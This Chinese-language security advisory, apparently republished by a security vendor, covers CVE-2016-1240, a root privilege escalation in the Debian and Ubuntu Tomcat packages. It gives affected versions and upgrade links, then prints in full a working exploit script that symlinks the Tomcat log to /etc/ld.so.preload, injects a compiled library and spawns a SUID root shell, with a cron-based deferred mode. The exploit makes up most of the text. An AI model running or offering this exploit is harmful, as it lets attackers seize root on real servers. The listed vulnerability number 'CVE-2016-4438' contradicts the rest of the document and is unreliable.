Debian Ubuntu Root权限受到威胁 Tomcat本地提权漏洞CVE-2016-1240 请安全运维尽快升级

2016年9月30日，legalhackers.com网站发布了一个关于Tomcat漏洞的公告，所涉及漏洞的编号为CVE-2016-1240。Debian系统的Linux上管理员通常利用apt-get进行包管理，debian包的一个初始化脚本中存在漏洞，会让deb包安装程序自动执行启动脚本，脚本位置/etc/init.d/tomcatN

攻击者可以在拥有Tomcat低权限的情况下，利用该漏洞获得系统的root权限。受影响的系统包括Debian和ubuntu，其他使用debian包的系统也可能会受影响。

详情请见以下链接：

• http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
• https://security-tracker.debian.org/tracker/CVE-2016-1240

漏洞编号

CVE-2016-4438

受影响的版本

受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响。受影响的debian包如下：

• Tomcat 8 <= 8.0.36-2
• Tomcat 7 <= 7.0.70-2
• Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

Tomcat是什么

Tomcat是个运行在Apache上的应用服务器，支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展，实际上Tomcat也可以独立于Apache运行。

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器，它也可以被视作一个单独的Web服务器。

Debian是什么

广义的Debian是指一个致力于创建自由操作系统的合作组织及其作品，由于Debian项目众多内核分支中以Linux宏内核为主，而且 Debian开发者 所创建的操作系统中绝大部分基础工具来自于GNU工程 ，因此 “Debian” 常指Debian GNU/Linux。

规避方案

Tomcat安全团队已经修复了受影响的包，建议用户升级到最新版本，新版本下载地址如下：

• https://sources.debian.net/src/tomcat6/
• https://sources.debian.net/src/tomcat7/
• https://sources.debian.net/src/tomcat8/

Tomcat Root提权漏洞简析

本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。

# Run the catalina.sh script as a daemon

set +e

touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

Tomcat Root提权漏洞验证程序

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash 
# 
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit 
# 
# CVE-2016-1240 
# 
# Discovered and coded by: 
# 
# Dawid Golunski 
# http://legalhackers.com 
# 
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc. 
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root. 
# 
# Usage: 
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] 
# 
# The exploit can used in two ways: 
# 
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly 
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up 
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) 
# 
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can 
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations). 
# 
# See full advisory for details at: 
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html 
# 
# Disclaimer: 
# For testing purposes only. Do no harm. 
#

BACKDOORSH="/bin/bash" 
BACKDOORPATH="/tmp/tomcatrootsh" 
PRIVESCLIB="/tmp/privesclib.so" 
PRIVESCSRC="/tmp/privesclib.c" 
SUIDBIN="/usr/bin/sudo"

function cleanexit { 
# Cleanup 
echo -e "\n[+] Cleaning up..." 
rm -f $PRIVESCSRC 
rm -f $PRIVESCLIB 
rm -f $TOMCATLOG 
touch $TOMCATLOG 
if [ -f /etc/ld.so.preload ]; then 
echo -n > /etc/ld.so.preload 2>/dev/null 
fi 
echo -e "\n[+] Job done. Exiting with code $1 \n" 
exit $1 
}

function ctrl_c() { 
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." 
cleanexit 0 
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n" 
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args 
if [ $# -lt 1 ]; then 
echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" 
exit 3 
fi 
if [ "$2" = "-deferred" ]; then 
mode="deferred" 
else 
mode="active" 
fi

# Priv check 
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`" 
id | grep -q tomcat 
if [ $? -ne 0 ]; then 
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" 
exit 3 
fi

# Set target paths 
TOMCATLOG="$1" 
if [ ! -f $TOMCATLOG ]; then 
echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" 
exit 3 
fi 
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default 
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. 
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been 
# restarted and file owner gets changed. 
if [ "$mode" = "deferred" ]; then 
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG 
if [ $? -ne 0 ]; then 
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." 
cleanexit 3 
fi 
echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" 
echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" 
echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" 
echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges" 
echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n" 
exit 0 
fi

# [ Active exploitation ]

trap ctrl_c INT 
# Compile privesc preload library 
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 
cat <<_solibeof_>$PRIVESCSRC 
#define _GNU_SOURCE 
#include <stdio.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <dlfcn.h> 
uid_t geteuid(void) { 
static uid_t  (*old_geteuid)(); 
old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 
if ( old_geteuid() == 0 ) { 
chown("$BACKDOORPATH", 0, 0); 
chmod("$BACKDOORPATH", 04777); 
unlink("/etc/ld.so.preload"); 
} 
return old_geteuid(); 
} 
_solibeof_ 
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl 
if [ $? -ne 0 ]; then 
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 
cleanexit 2; 
fi

# Prepare backdoor shell 
cp $BACKDOORSH $BACKDOORPATH 
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check 
if [ -f /etc/ld.so.preload ]; then 
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 
cleanexit 2 
fi

# Symlink the log file to ld.so.preload 
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG 
if [ $? -ne 0 ]; then 
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." 
cleanexit 3 
fi 
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs 
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." 
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)" 
while :; do 
sleep 0.1 
if [ -f /etc/ld.so.preload ]; then 
echo $PRIVESCLIB > /etc/ld.so.preload 
break; 
fi 
done

# /etc/ld.so.preload file should be owned by tomcat user at this point 
# Inject the privesc.so shared library to escalate privileges 
echo $PRIVESCLIB > /etc/ld.so.preload 
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`" 
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" 
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" 
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell 
ls -l $BACKDOORPATH | grep rws | grep -q root 
if [ $? -eq 0 ]; then 
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 
echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m" 
else 
echo -e "\n[!] Failed to get root" 
cleanexit 2 
fi

# Execute the rootshell 
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n" 
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 
$BACKDOORPATH -p

# Job done. 
cleanexit 0

--------------[ EOF ]-------------------- 

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原文发布时间：2017年3月24日

本文由：绿盟科技 发布，版权归属于原作者

原文链接：http://toutiao.secjia.com/tomcat-root-privilege-escalation-exploit-cve-2016-1240

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